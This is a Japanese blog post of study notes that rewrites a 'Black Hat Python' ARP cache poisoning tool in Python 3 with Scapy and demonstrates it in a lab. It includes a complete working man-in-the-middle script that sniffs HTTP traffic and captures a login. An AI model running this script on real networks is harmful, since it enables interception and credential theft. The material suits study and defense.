Engineering Note

プログラミングなどの技術的なメモ

4.2 Scapyを使ったARPキャッシュポイズニング (サイバーセキュリティプログラミング Pythonで学ぶハッカーの思考)

本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。

今回はARPキャッシュポイズニング(ARPスプーフィング)について学びます。

今では古典的な技術ではありますが、同一ネットワーク内のホストに対する攻撃としてはもっとも効果的な方法です。

 

 

ARPとは

ネットワーク上のホストがローカルネットワークの外にパケットを送信するためには、まず外部ネットワークへパケットを転送するルータ(デフォルトゲートウェイ)にパケットを送信しなければなりません。

そのため、ローカルホストはネットワーク設定時に入力したルータのIPアドレスデフォルトゲートウェイ)からルータのMACアドレスを調べる必要があります。

その際に利用されるプロトコルARP(Address Resolution Protocol)と呼ばれるものです。

ローカルホストは宛先IPアドレスにルータのIPアドレスを、また送信先MACアドレスにブロードキャストを意味する"ff:ff:ff:ff:ff:ff"をセットし、ローカルネットワーク上のホスト全てにARPリクエストを送信します。

このブロードキャストを受信したホストは宛先IPアドレスが自分のものか確認し、そうであった場合にARPリプライを送信し、アドレス解決が完了します。

なお、ここで解決されたMACアドレスIPアドレスの対応については、一定時間ホスト上のARPテーブルという領域にキャッシュされます。

 

ARPキャッシュポイズニングとは

ARPキャッシュポイズニングについては、ARPスプーフィングとも呼ばれる古典的な攻撃手法です。

上記のARPの仕組みを利用して、標的に偽の情報をARPテーブルに登録(キャッシュ)させます。

一般には、標的とルータ(デフォルトゲートウェイ)の間に入ってパケットを中継し、盗聴や改ざんを行う「中間者攻撃(MITM:Man in the Middle)」として利用します。 

 

ネットワーク環境の準備

今回は標的としてWindows PCを利用し、攻撃用にKali Linux仮想マシン)を使い、外部ネットワーク上にあるWebサーバのログイン情報を取得してみます。 

以下がネットワーク構成図になります。

 

network_layout

それでは、スクリプトを作成していきます。 

 

ライブラリのインポート

今回は以下のライブラリを使用します。

 

# arp_poisoning.py
from scapy.all import *
import os
import sys
import threading
import signal

 

MACアドレスの取得

MACアドレスを取得するget_mac()を実装します。

 

def get_mac(ip_address):
    responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
    for s, r in responses:
        return r[Ether].src
    return None

 

ターゲットのIPアドレスを引数として、ARPパケットを作成し、取得したMACアドレスを返します。

 

ARPキャッシュポイズニングの実装

今回はMITM型の攻撃になるため、標的ホストとルータに対して、それぞれ偽のARPテーブルを作成させます。

 

def poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event):
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] Beginning the ARP poison. [CTRL-C to stop]")
    while True:
        send(poison_target)
        send(poison_gateway)
        if stop_event.wait(2):
            break
    print("[*] ARP poison attack finished.")
    return

 

ARPテーブルの復元

攻撃が終了したら、標的ホストおよびルータのARPテーブルをリストアします。

 

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    print("[*] Restoring target...")
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,
        hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,
        hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)

 

メイン関数の実装

以下がメイン関数となります。

 

def main():
    target_ip = "192.168.2.1"
    host_ip = "192.168.2.100"
    gateway_ip = "192.168.2.254"
    interface = "eth0"

    packet_count = 200
    conf.iface = interface
    conf.verb = 0

    print("[*] Setting up {}".format(interface))

    gateway_mac = get_mac(gateway_ip)

    if not gateway_mac:
        print("[!!!] Failed to get gateway MAC. Exiting.")
        sys.exit(1)
    else:
        print("[*] Gateway {} is at {}".format(gateway_ip, gateway_mac))

    target_mac = get_mac(target_ip)

    if not target_mac:
        print("[!!!] Failed to get target MAC. Exiting.")
        sys.exit(1)
    else:
        print("[*] Target {} is at {}".format(target_ip, target_mac))

    stop_event = threading.Event()
    poison_thread = threading.Thread(target=poison_target, args=[gateway_ip, gateway_mac,
                        target_ip, target_mac, stop_event])
    poison_thread.start()

    print("[*] starting sniffer for {} packets".format(packet_count))

    bpf_filter = "ip host {} and tcp port 80".format(target_ip)
    packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)

    wrpcap('arper.pcap', packets)

    stop_event.set()
    poison_thread.join()

    restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

if __name__ == '__main__':
    main()

 

動作確認

それでは、上記のスクリプトを実行してみます。

まず、攻撃前に標的ホストのARPテーブルの状態を確認しておきます。

コマンドプロンプトを起動し、以下のコマンドを入力します。

ルータ(デフォルトゲートウェイ)のIPアドレスが"192.168.2.254"に対してMACアドレスが"ca-01-29-80-00-1c"であることが確認できます。

 

次に攻撃用のKali Linuxでパケットの転送が可能になるように、"ip_forward"の設定を有効化してからスクリプトを起動します。

 

 > ipconfig

 イーサネット アダプター Host:

    接続固有の DNS サフィックス . . . . .:
    リンクローカル IPv6 アドレス. . . . .: fe80::70ac:2ed6:f889:82c6%9
    IPv4 アドレス . . . . . . . . . . . .: 192.168.2.1
    サブネット マスク . . . . . . . . . .: 255.255.255.0
    デフォルト ゲートウェイ . . . . . . .: 192.168.2.254

 > arp -a
 インターフェイス: 192.168.2.1 --- 0x9
   インターネット アドレス 物理アドレス           種類
   192.168.2.254         ca-01-29-80-00-1c     動的
   192.168.2.255         ff-ff-ff-ff-ff-ff     静的
   224.0.0.22            01-00-5e-00-00-16     静的
   224.0.0.251           01-00-5e-00-00-fb     静的
   224.0.0.252           01-00-5e-00-00-fc     静的
   239.255.255.250       01-00-5e-7f-ff-fa     静的

 

エラーもなくスクリプトが起動したら、標的ホストのARPテーブルを確認してみます。

 

 > arp -a
 インターフェイス: 192.168.2.1 --- 0x9
   インターネット アドレス 物理アドレス           種類
   192.168.2.100         00-0c-29-86-b9-2f     動的
   192.168.2.254         00-0c-29-86-b9-2f     動的
   192.168.2.255         ff-ff-ff-ff-ff-ff     静的
   224.0.0.22            01-00-5e-00-00-16     静的
   224.0.0.251           01-00-5e-00-00-fb     静的
   224.0.0.252           01-00-5e-00-00-fc     静的
   239.255.255.250       01-00-5e-7f-ff-fa     静的

 

ゲートウェイMACアドレスが攻撃用のKali LinuxMACアドレスである"00-0c-29-86-b9-2f"に書き換えられています。

この状態で外部のWebサーバのログイン認証を行ってみます。

 

 > curl -d user=admin -d password=pass http://192.168.0.1/login/auth.php
 <!DOCTYPE html>
 <html lang="ja">
 <head>
 <meta charset='utf-8'>
 </head>
 <body>
 <p>ログインしました</p>
 </body>
 </html>

 

一連の作業が完了したら、起動しているスクリプトを"Ctrl + C"で終了します。

スクリプトが問題なく終了すると、"arper.pcap"というファイルがスクリプトと同じディレクトリに作成されているので、パケットがキャプチャされているかWiresharkで確認してみます。

login_capture

問題なくキャプチャされているのが確認できました。

 

最後に

今回は古典的ではありますが、有名な攻撃手法であるARPキャッシュポイズニングについて学びました。

上記では200パケットを取得すると強制終了します。

実際にはすべてのパケットをキャプチャしようとすると、メモリが足りなくなってしまいますので、必要となるパケットに焦点を絞ったフィルタリングが重要となります。

 

参考書籍

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考